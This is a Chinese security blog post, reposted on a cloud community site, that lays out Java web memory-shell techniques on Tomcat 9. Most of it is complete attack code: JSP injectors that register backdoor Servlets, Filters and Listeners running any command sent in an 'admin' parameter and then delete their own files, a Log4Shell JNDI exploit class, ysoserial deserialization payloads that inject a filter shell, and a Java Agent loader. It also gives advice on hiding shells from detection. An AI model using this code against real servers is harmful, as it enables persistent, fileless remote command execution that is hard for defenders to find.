前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >JavaWeb 内存马技术归纳

JavaWeb 内存马技术归纳

作者头像
黑白天安全
发布2022-02-24 08:03:12
1.9K0
发布2022-02-24 08:03:12
举报
代码语言:javascript
复制
https://cn.4xpl0r3r.com/技术归纳/JavaWeb-内存马技术归纳/

本文以Tomcat 9为核心学习并归纳了一些内存马技术,除有特殊说明外的章节外,本文使用Java 8u292

首先我们整理一下几种植入内存马的方式

  • 基于JSP WebShell植入内存马
  • 基于JavaWeb RCE漏洞植入内存马
    • 真正的无文件落地内存马
  • 通过Java Agent植入内存马

由于我们使用的是Tomcat,可以通过动态增加Servlet、Filter、Listener来植入内存马,如果技术栈还存在Spring和Shiro等,还可以使用增加Controller等方法

基于JSP WebShell植入内存马

参考:MemoryShellLearn/jsp注入内存马 at main · bitterzzZZ/MemoryShellLearn (github.com)

配置开发环境

IDEA使用Web Profile配置创建Java EE项目,使用Tomcat 9.0.58进行学习,不同版本的Tomcat的内部不同,本文统一使用Tomcat 9

为了在JSP中开发内存马,我们需要使用Tomcat的API,虽然在放在Tomcat中就可以直接使用Tomcat的API,但是IDEA无法进行代码提示,因此我们要在项目设置中把Apache Tomcat中的lib文件夹加入项目的Libraries中去,除此之外还要引入tomcat的/bin/tomcat-juli.jar

完成Libraries的配置后我们的代码就不会因为缺少依赖而出现报错了

增加Servlet

Servlet我们都知道,是Tomcat的最基本的服务程序,我们可以直接在内存中增加Servlet来实现无文件的内存马

增加Servlet的方式分为3个步骤

  1. 利用反射通过ApplicationContextFacade获取到StandardContext
  2. Servlet程序封装到Wrapper
  3. 将封装好的Wrapper增加到StandardContext中并添加地址映射

代码如下

代码语言:javascript
复制
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.core.*"%>
<%@ page import = "javax.servlet.*"%>
<%@ page import = "javax.servlet.http.*"%>
<%@ page import = "java.io.*"%>
<%@ page import = "java.lang.reflect.Field"%>
<%
    class BackdoorServlet extends HttpServlet {
        @Override
        public void service(ServletRequest req, ServletResponse res) throws  IOException {
            HttpServletRequest request = (HttpServletRequest) req;
            HttpServletResponse response = (HttpServletResponse) res;
            if (request.getParameter("admin")!=null){
                Runtime.getRuntime().exec(request.getParameter("admin"));
            }
            else{
                response.sendError(HttpServletResponse.SC_NOT_FOUND);
            }
        }
    }
    ServletContext servletContext =  request.getSession().getServletContext(); // 获取Context
    // 通过反射从ApplicationContextFacade中获取到当前的StandardContext
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    // 将Servlet添加到Context中去
    BackdoorServlet backdoorServlet = new BackdoorServlet();
    org.apache.catalina.Wrapper backdoorWrapper = standardContext.createWrapper();
    backdoorWrapper.setName("hello");
    backdoorWrapper.setLoadOnStartup(1);
    backdoorWrapper.setServlet(backdoorServlet);
    backdoorWrapper.setServletClass(backdoorServlet.getClass().getName());
    // jiang
    standardContext.addChild(backdoorWrapper);
    standardContext.addServletMappingDecoded("/hello", "hello");
    // 自毁
//    (new File(application.getRealPath(request.getServletPath()))).delete();
%>

触发方法:将JSP放入webapp文件夹中,我们首先访问路径/addServlet.jsp写入内存马,然后再访问/hello?admin=<指令>就可以执行命令了

增加Filter

由于Filter在Servlet之前运行,因此可以不受URL的限制,甚至可以伪装成在对一个正常的Servlet进行访问

增加Filter的方式分为4个步骤

  1. 通过反射从ApplicationContextFacade中获取到当前的StandardContext,从StandardContext获取到filterConfigs
  2. 封装FilterFilterDef,并添加到StandContext
  3. 生成新的ApplicationFilterConfig并添加到filterConfigs
  4. 创建FilterMap并加入StandardContext中,为Filter确定适用的URL
代码语言:javascript
复制
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.*" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.*" %>
<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "java.io.*" %>
<%@ page import = "java.lang.reflect.*" %>
<%@ page import = "java.util.Map" %>

<%
    class BackdoorFilter extends HttpFilter {
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest request = (HttpServletRequest) req;
            if (request.getParameter("admin")!=null){
                Runtime.getRuntime().exec(request.getParameter("admin"));
            }
            filterChain.doFilter(req, res);
        }
    }

    String name = "BackdoorFilter";
    // 通过反射从ApplicationContextFacade中获取到当前的StandardContext
    ServletContext servletContext =  request.getSession().getServletContext();
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    // 通过反射从StandardContext获取到filterConfigs
    field = standardContext.getClass().getDeclaredField("filterConfigs");
    field.setAccessible(true);
    Map filterConfigs = (Map) field.get(standardContext);

    if (filterConfigs.get(name) == null){ // 防止重复注入
        BackdoorFilter filter = new BackdoorFilter();
        // 封装Filter为FilterDef,并添加到StandContext中
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
        standardContext.addFilterDef(filterDef);
        // 生成新的ApplicationFilterConfig并添加到filterConfigs中
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(name, filterConfig);
        // 创建FilterMap并加入StandardContext中,为Filter确定适用的URL
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*"); // 全局生效
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);
        // 自毁
        (new File(application.getRealPath(request.getServletPath()))).delete();
    }
%>

触发方法:将JSP放入webapp文件夹中,我们首先访问路径/addFilter.jsp写入内存马,然后在访问任意路径时,带上GET参数admin就可以执行命令了

增加Listener

Tomcat的Listener可以用于在某个事件发生时执行操作,我们选择实现ServletRequestListener来监听每一个HTTP请求

增加Listener的方式分为2个步骤

  1. 利用反射通过ApplicationContextFacade获取到StandardContext
  2. Listener添加到StandardContext
代码语言:javascript
复制
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>

<%
    class BackdoorListener implements ServletRequestListener{
        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            if (request.getParameter("admin")!=null){
                try {
                    Runtime.getRuntime().exec(request.getParameter("admin"));
                } catch (IOException e) {}
            }
        }
    }

    // 通过反射从ApplicationContextFacade中获取到当前的StandardContext
    ServletContext servletContext =  request.getSession().getServletContext();
    Field field = servletContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);
    field = applicationContext.getClass().getDeclaredField("context");
    field.setAccessible(true);
    StandardContext standardContext = (StandardContext) field.get(applicationContext);
    standardContext.addApplicationEventListener(new BackdoorListener());
    // 自毁
    (new File(application.getRealPath(request.getServletPath()))).delete();
%>

触发方法:将JSP放入webapp文件夹中,我们首先访问路径/addListener.jsp写入内存马,然后在访问任意路径时,带上GET参数admin就可以执行命令了

介绍完Tomcat JSP内存马,接下来我们进入真正无文件落地的基于JNDI和反序列化植入内存马

基于JNDI的内存马植入 - 以CVE-2021-44228 Log4Shell为例

关于CVE-2021-44228的分析,可以参见我之前的讲解文章,由于我使用remote codebase方法,本节只能使用jdk 8u181及以下的版本

准备Tomcat脆弱环境

首先在Tomcat项目的pom.xml中加入log4j-core 2.14.1的依赖,然后我们再写一个触发log4j漏洞的Servlet

直接在自动创建的HelloServlet上修改即可

代码语言:javascript
复制
package com.example.JavaWebDemo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {

        Logger logger = LogManager.getLogger();
        logger.error("${jndi:ldap://127.0.0.1:1389/#Exploit}");

        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }
}

构造Exploit

我们只尝试增加Filter,增加Servlet和Listener的方法也比较相似,不重复讨论

接下来按照我之前的CVE-2021-44228分析中的方法触发JNDI漏洞,我们将反弹Shell的代码进行修改

这时候遇到一个难点,之前我们使用JSP获取内存马,可以发现,往Tomcat中注入内存马的核心是需要获取到StandardContext实例,之前JSP会自动放进去一个request对象,可以用于获取StandardContext,但是此时没有这个便捷的方式,所以我们要另寻出入了

参考这篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法

由于我们使用Tomcat9,此处我们使用”从ContextClassLoader获取”的方式为例来获取StandardContext,代码如下

代码语言:javascript
复制
WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

整合Exploit,代码如下

代码语言:javascript
复制
import org.apache.catalina.Context;
import org.apache.catalina.core.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.Map;

@SuppressWarnings("unchecked")
public class Exploit{
    public Exploit() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        class BackdoorFilter extends HttpFilter {
            public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest request = (HttpServletRequest) req;
                if (request.getParameter("admin")!=null){
                    Runtime.getRuntime().exec(request.getParameter("admin"));
                }
                filterChain.doFilter(req, res);
            }
        }
        String name = "BackdoorFilter";
        // 从ContextClassLoader获取StandardContext
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
        // 通过反射从StandardContext获取到filterConfigs
        Field field = standardContext.getClass().getDeclaredField("filterConfigs");
        field.setAccessible(true);
        Map filterConfigs = (Map) field.get(standardContext);

        if (filterConfigs.get(name) == null) { // 防止重复注入
            BackdoorFilter filter = new BackdoorFilter();
            // 封装Filter为FilterDef,并添加到StandContext中
            FilterDef filterDef = new FilterDef();
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            filterDef.setFilter(filter);
            standardContext.addFilterDef(filterDef);
            // 生成新的ApplicationFilterConfig并添加到filterConfigs中
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(name, filterConfig);
            // 创建FilterMap并加入StandardContext中,为Filter确定适用的URL
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*"); // 全局生效
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);
        }
    }
}

首先触发log4j漏洞,利用JNDI执行我们的Exploit植入内存马,随后访问任意URL时带上admin参数即可执行命令

可以发现,在这种情况下,我们实现了真正的无文件落地,但是JNDI+LDAP的攻击方式在jdk 8u191及之后就无法利用了,下一节我们讨论基于反序列化的植入方法

基于反序列化的内存马植入 - ysoserial-CommonsCollections2改造

参考:基于tomcat的内存 Webshell 无文件攻击技术

由于CommonsCollections2使用了TemplatesImpl,所以我们才能用这个方法进行内存马注入,像CommonsCollections1没有利用TemplatesImpl,所以就不行了

配置反序列化环境

我们写一个进行反序列化的接口,放在doPost()里面,核心代码只需一句

代码语言:javascript
复制
(new ObjectInputStream((request.getInputStream()))).readObject();

我们使用CommonsCollections2作为例子,通过Maven引入commons-collections4:4.0

测试一下环境是否正常

会报错,但是我们可以发现是TemplatesImpl抛出的,并且检查命令执行效果可以发现命令执行成功了,接下来开始改造Payload

构造Exploit

首先是用IDEA导入ysoserial项目,项目的Jdk版本设置为1.8。

由于打包起来太麻烦,我们将ysoserial.GeneratePayload作为主类运行,直接生成Payload

由于我们要输出到文件中,修改GeneraterPayload.java的第35行PrintStream out = System.out;改为PrintStream out = new PrintStream("./output.serial");

首先在ysoserial.payloads.util.Gadgets.java中调整createTemplateImpl函数

由于原版的createTemplateImpl根据要执行的指令来生成TemplateImpl我们将其重载并稍微修改一下

我们复制createTemplateImpl并改为如下

代码语言:javascript
复制
public static Object createTemplatesImpl ( final Class _class ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            _class,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(_class, TemplatesImpl.class, TransformerFactoryImpl.class);
}


public static <T> T createTemplatesImpl ( final Class _class, Class<T> tplClass, Class<?> transFactory )
    throws Exception {
    final T templates = tplClass.newInstance();

    final byte[] classBytes = ClassFiles.classAsBytes(_class);

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
        classBytes, ClassFiles.classAsBytes(Foo.class)
    });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
    return templates;
}

对于第一处重载,只是把command改为了_class并删除了无用的参数,第二处重载则从通过Javaassist技术制作类并获取字节码变为直接获取字节码,因为我们直接编写了类文件

然后将payloads/CommonsCollections2复制出一个新版本,命名为CommonsCollections2ForClassInjection

command参数重构为payloadName,变为注入的类名来使用,之后可以方便调整为使用ServletInjection等其它内存马

把这一句进行修改

代码语言:javascript
复制
final Object templates = Gadgets.createTemplatesImpl(command);

换为如下,直接通过类名获取字节码

代码语言:javascript
复制
final Object templates = Gadgets.createTemplatesImpl(Class.forName("ysoserial.shells."+payloadName));

启动参数配置如下

将生成的output.serial文件打到服务器上,然后在访问任意路径时,带上GET参数admin就可以执行命令了

可以发现我给自己起的Payload名字是TomcatFilterInjection,把它放在如图的位置

Payload代码如下,大家也可以自己制作ServletInjection或者ListenerInjection作为Payload

代码语言:javascript
复制
package ysoserial.shells;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class TomcatFilterInjection extends AbstractTranslet implements Filter {

    static {
        try {

            String name = "TomcatFilterInjection";
            // 从ContextClassLoader获取StandardContext
            WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
            // 通过反射从StandardContext获取到filterConfigs
            Field field = standardContext.getClass().getDeclaredField("filterConfigs");
            field.setAccessible(true);
            Map filterConfigs = (Map) field.get(standardContext);

            if (filterConfigs.get(name) == null) { // 防止重复注入
                TomcatFilterInjection filter = new TomcatFilterInjection();
                // 封装Filter为FilterDef,并添加到StandContext中
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                filterDef.setFilter(filter);
                standardContext.addFilterDef(filterDef);
                // 生成新的ApplicationFilterConfig并添加到filterConfigs中
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                // 创建FilterMap并加入StandardContext中,为Filter确定适用的URL
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*"); // 全局生效
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
            }
        } catch (Exception e) {
            // 忽略错误,在生成生成序列化代码时也会执行static部分,必然报错,直接跳过即可
        }
    }
   
代码语言:javascript
复制
  @Override
    public void doFilter(ServletRequest req, ServletResponse res,
                         FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        if (request.getParameter("admin")!=null){
            Runtime.getRuntime().exec(request.getParameter("admin"));
        }
        filterChain.doFilter(req, res);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
        throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void destroy() {

    }
}

对于第一处重载,只是把command改为了_class并删除了无用的参数,第二处重载则从通过Javaassist技术制作类并获取字节码变为直接获取字节码,因为我们直接编写了类文件

然后将payloads/CommonsCollections2复制出一个新版本,命名为CommonsCollections2ForClassInjection

command参数重构为payloadName,变为注入的类名来使用,之后可以方便调整为使用ServletInjection等其它内存马

把这一句进行修改

代码语言:javascript
复制
final Object templates = Gadgets.createTemplatesImpl(command);

换为如下,直接通过类名获取字节码

代码语言:javascript
复制
final Object templates = Gadgets.createTemplatesImpl(Class.forName("ysoserial.shells."+payloadName));

启动参数配置如下

将生成的output.serial文件打到服务器上,然后在访问任意路径时,带上GET参数admin就可以执行命令了

可以发现我给自己起的Payload名字是TomcatFilterInjection,把它放在如图的位置

Payload代码如下,大家也可以自己制作ServletInjection或者ListenerInjection作为Payload

代码语言:javascript
复制
package ysoserial.shells;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class TomcatFilterInjection extends AbstractTranslet implements Filter {

    static {
        try {

            String name = "TomcatFilterInjection";
            // 从ContextClassLoader获取StandardContext
            WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
            // 通过反射从StandardContext获取到filterConfigs
            Field field = standardContext.getClass().getDeclaredField("filterConfigs");
            field.setAccessible(true);
            Map filterConfigs = (Map) field.get(standardContext);

            if (filterConfigs.get(name) == null) { // 防止重复注入
                TomcatFilterInjection filter = new TomcatFilterInjection();
                // 封装Filter为FilterDef,并添加到StandContext中
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                filterDef.setFilter(filter);
                standardContext.addFilterDef(filterDef);
                // 生成新的ApplicationFilterConfig并添加到filterConfigs中
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                // 创建FilterMap并加入StandardContext中,为Filter确定适用的URL
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*"); // 全局生效
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
            }
        } catch (Exception e) {
            // 忽略错误,在生成生成序列化代码时也会执行static部分,必然报错,直接跳过即可
        }
    }
代码语言:javascript
复制
   @Override
    public void doFilter(ServletRequest req, ServletResponse res,
                         FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        if (request.getParameter("admin")!=null){
            Runtime.getRuntime().exec(request.getParameter("admin"));
        }
        filterChain.doFilter(req, res);
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
        throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void destroy() {

    }
}

Java Agent内存马

参考:Java Agent 从入门到内存马

还是以Tomcat为例,我们知道JavaAgent技术可以动态修改字节码,我们熟知的Burp Suite的破解技术就是基于premain方法实现的,通过agentmain,我们可以直接修改关键类即可

由于Java Agent内存马需要有Jar文件落地,并不是比JSP更好的方法,只能说在JSP无法解析的时候适用性会更好一些

比较知名的冰蝎就提供了Java Agent内存马,我们也实现一个比较基础的

调用端(Attacher)的核心代码其实就3句话

代码语言:javascript
复制
VirtualMachine virtualMachine = VirtualMachine.attach(id);
virtualMachine.loadAgent(jarName);
virtualMachine.detach();

我们可以使用前面研究过的JNDI注入方法进行注入,也可以利用反序列化,只要能够执行Java代码即可,甚至拿到系统Shell后直接用命令执行loadAgent的另一个java程序也可以,只是要上传更多的文件,风险更大

这里方便起见,直接继续使用前面研究的反序列化注入方法进行攻击,我们在shells中增加一个新的Payload,代码如下

代码语言:javascript
复制
package ysoserial.shells;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.tools.attach.VirtualMachine;
import sun.management.VMManagement;

import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class AgentInjection extends AbstractTranslet {
    static {
        try {
            // 首先获取进程ID
            RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean();
            Field jvm = runtime.getClass().getDeclaredField("jvm");
            jvm.setAccessible(true);
            VMManagement mgmt = (VMManagement) jvm.get(runtime);
            Method pidMethod = mgmt.getClass().getDeclaredMethod("getProcessId");
            pidMethod.setAccessible(true);
            // attach到当前JVM
            VirtualMachine virtualMachine = VirtualMachine.attach(String.valueOf(pidMethod.invoke(mgmt)));
            // 加载agent,可以从远程下载再load,这里直接从本地load了
            virtualMachine.loadAgent("/tmp/agent.jar");
            virtualMachine.detach();
        }catch (Exception e){
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

src/main/resources/目录下创建META-INF/MANIFEST.MF,内容如下

代码语言:javascript
复制
Manifest-Version: 1.0
Agent-Class: Agent
Can-Retransform-Classes: true

打包成.jar,发送序列化数据,结果遇到异常

可以发现依赖于tools.jar,这个包对于Tomcat来说并不会自动加载,为了让攻击奏效,我们可以通过JAVA_HOME路径手动加载类型,通过反射执行相关函数

修改后的Payload代码如下

代码语言:javascript
复制
package ysoserial.shells;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.management.VMManagement;

import java.io.File;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URLClassLoader;

public class AgentInjection extends AbstractTranslet {
    static {
        try {
            // 首先获取进程ID
            RuntimeMXBean runtime = ManagementFactory.getRuntimeMXBean();
            Field jvm = runtime.getClass().getDeclaredField("jvm");
            jvm.setAccessible(true);
            VMManagement mgmt = (VMManagement) jvm.get(runtime);
            Method pidMethod = mgmt.getClass().getDeclaredMethod("getProcessId");
            pidMethod.setAccessible(true);
            // 通过反射进行调用
            URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{new File(System.getProperty("java.home").replace("jre","lib") + File.separator + "tools.jar").toURI().toURL()});
            Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
            Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
            Method loadAgent=VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
            Method detach=VirtualMachine.getDeclaredMethod("detach",null);

            Object virtualMachine = attach.invoke(VirtualMachine,new Object[]{String.valueOf(pidMethod.invoke(mgmt))});
            loadAgent.invoke(virtualMachine,new Object[]{"/tmp/agent.jar"});
            detach.invoke(virtualMachine);
        }catch (Exception e){
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

完成反序列化注入Payload后,在访问任意路径时,带上GET参数admin就可以执行命令了

内存马检测和隐藏

参考: 探索Filter型Tomcat内存马的免杀 查杀Java web filter型内存马 | 回忆飘如雪 (gv7.me)

对于注入后的内存马,可以分为两个类型

  • 组件注入型 - 注入Servlet、Filter、Listener、Controller等
  • Agent注入型 - 注入字节码

检测方面的研究主要有c0ny1师傅的文章

组件注入型的检测和查杀

可以发现c0ny1师傅给出的方法就是通过加载Java Agent实时获取所有Filter,并且对于可疑的类进行检查

根据4ra1n师傅的方法,我们可以主要通过如下手段来隐藏我们的内存马

  1. 内存马的类名改为更加合理的,不要使用BackdoorFilter这样显眼的名字,并引入一定的随机化
  2. 读取已有Filter的包名,将自己Filter包名改为一致的
  3. 自动修改web.xml的内容进行隐藏

除此之外,由于可以检查Filter对应的classpath是否存在来检查,我们可以把class文件写入到硬盘上,但是这样就有被HIDS扫描到的风险,应视情况采用

目前为止,如果防御方不把class文件dump出来进行反编译对源码进行分析,应该是很难识别了,如果被dump了的话,只能进一步进采用源码免杀技巧

Agent注入型的检测和查杀

由于c0ny1师傅的《查杀Java web Agent型内存马》尚未发布,先留个坑在这里

JavaWeb 内存马技术归纳

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-02-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基于JSP WebShell植入内存马
    • 配置开发环境
      • 增加Servlet
        • 增加Filter
          • 增加Listener
          • 基于JNDI的内存马植入 - 以CVE-2021-44228 Log4Shell为例
            • 准备Tomcat脆弱环境
              • 构造Exploit
              • 基于反序列化的内存马植入 - ysoserial-CommonsCollections2改造
                • 配置反序列化环境
                  • 构造Exploit
                  • Java Agent内存马
                  • 内存马检测和隐藏
                    • 组件注入型的检测和查杀
                      • Agent注入型的检测和查杀
                      相关产品与服务
                      文件存储
                      文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档